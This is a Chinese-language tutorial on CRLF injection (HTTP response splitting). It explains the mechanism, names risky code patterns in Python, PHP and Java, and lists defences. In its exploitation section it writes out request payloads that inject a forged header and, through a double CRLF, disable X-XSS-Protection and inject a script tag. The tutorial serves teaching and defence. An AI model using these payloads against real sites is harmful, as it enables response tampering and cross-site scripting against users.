[TOC]

漏洞原理

LF 是 CR (回车)和 LF (换行)两个字符的拼接,对应转义符 \r\n ,全称为 Carriage Return/Line Feed。

它的编码对应关系如下:

  • 十六进制编码: 0x0d (CR)、 0x0a (LF)
  • URL 编码: %0D (CR)、 %0A (LF)

CRLF 组合在一起,相当于键盘上的「Enter」键,常被用作各类程序和协议的分隔符。不同操作系统的换行符也存在差异:

1
2
Windows:使用 CRLF(\r\n)表示行结束
Linux/Unix:仅使用 LF(\n)表示行结束

而在 HTTP 协议 中,有两个关键的分隔规则:

  1. 多个 HTTP 响应头之间,用一个 CRLF 分隔
  2. HTTP 响应头与响应体(页面内容)之间,用两个 CRLF 分隔

浏览器和服务器正是依靠这个规则解析 HTTP 报文。如果 用户可控的输入被直接回显在 HTTP 返回包的 Header 中 ,攻击者就可以通过注入 CRLF 提前结束响应头,篡改报文结构,甚至注入恶意内容。因此,CRLF 注入也被称为 HTTP 响应拆分 / 截断(HTTP Response Splitting,简称 HRS) ,可能引发 XSS、Cookie 伪造、日志篡改等高危安全问题。

漏洞场景

python

  1. 高发场景:使用 response.headers 直接设置响应头、 redirect 函数接收用户输入作为跳转地址。
  2. 防御方法:避免直接使用 request.args.get() 获取的参数拼接响应头,推荐使用框架自带的安全响应方法,手动过滤可借助正则移除 CRLF 字符。
  3. 小技巧:Flask 可使用 crlf-sanitizer 中间件全局过滤,Django 可在表单验证层添加 CRLF 校验。

php

  1. 高发场景:使用 header() 函数设置响应头、 setcookie() 函数接收用户输入作为 Cookie 值。
  2. 防御方法:原生 PHP 无内置 CRLF 防护,需手动封装过滤函数,禁止直接将 $_GET / $_POST / $_COOKIE 参数传入 header()
  3. 小技巧:设置 Cookie 时可使用 urlencode() 编码值,避免特殊字符被解析,应急场景可临时开启 magic_quotes_gpc (不推荐长期使用)。

java

  1. 高发场景:使用 response.setHeader() response.sendRedirect() 拼接用户输入。
  2. 防御方法:Spring Boot 2.6.x 及以上版本内置 CRLF 防护,低版本需手动过滤;避免使用反射获取用户输入拼接响应头。
  3. 小技巧:可封装通用工具类,统一处理所有用户输入,优先使用 org.apache.commons.codec 进行安全编码。

漏洞利用

前提:假设某接口的参数会直接在 HTTP 响应头的 Server 字段中回显,我们以此为例看完整的利用过程。

查看请求包、响应包

请求包:

1
2
GET /xxx/xyz/zzz?param=123456 HTTP/1.1
Host: xxx.com

响应包:

1
2
3
HTTP/1.1 200 OK
Server: 123456
Content-Type: text/html; charset=utf-8

注入 CRLF 创建新响应头

利用核心是在参数中插入 URL 编码的 CRLF( %0D%0A ),截断原有响应头,创建新的自定义头。

请求包(注入 %0D%0AHello:789 ):

1
2
GET /xxx/xyz/zzz?param=123456%0D%0AHello:789 HTTP/1.1
Host: xxx.com

响应包(Server 字段后出现了新的 Hello 字段,说明注入成功):

1
2
3
4
HTTP/1.1 200 OK
Server: 123456
Hello: 789
Content-Type: text/html; charset=utf-8

进阶利用(关闭 XSS 防护 + 注入恶意脚本)

通过注入两个连续的 %0D%0A (对应 \r\n\r\n ),可以分隔响应头和响应体,进而注入 XSS 脚本,同时关闭浏览器的 XSS 防护。

请求包:

1
2
GET /xxx/xyz/zzz?param=123456%0D%0AX-XSS-Protection:0%0D%0A%0D%0A<script>alert('xss')</script> HTTP/1.1
Host: xxx.com

响应包(成功关闭 XSS 防护,且响应体中出现恶意脚本):

1
2
3
4
5
6
HTTP/1.1 200 OK
Server: 123456
X-XSS-Protection: 0

<script>alert('xss')</script>
Content-Type: text/html; charset=utf-8

此时浏览器会执行恶意脚本,完成 XSS 攻击,这只是 CRLF 注入的其中一种高危利用场景。

防御方法

  1. 过滤 / 移除所有 CRLF 相关字符

    对所有用户可控输入(URL 参数、POST 数据、Cookie 等),移除或替换 \r \n %0D %0A 等核心字符,避免被解析为分隔符。

  2. 采用白名单验证输入

    对有固定格式的输入(如重定向 URL、手机号),仅允许合法内容通过(如仅允许指定域名、仅允许数字),从根源杜绝非法字符。

  3. 禁止用户输入直接拼接 HTTP 响应头

    不允许将未经处理的用户输入直接作为响应头的键或值,如需使用,需先进行安全编码(如 URL 编码、Base64 编码)。

  4. 开启框架 / 中间件 / WAF 内置防护

    升级 Web 框架至最新版本,开启 Tomcat/Nginx 的 CRLF 拦截功能,或通过 WAF 拦截包含 CRLF 的恶意请求,形成多层防护。

  5. 针对性加固高发场景

    对重定向( Location 头)、设置 Cookie( Set-Cookie 头)、页面刷新( Refresh 头)等高发场景,做额外的专项校验。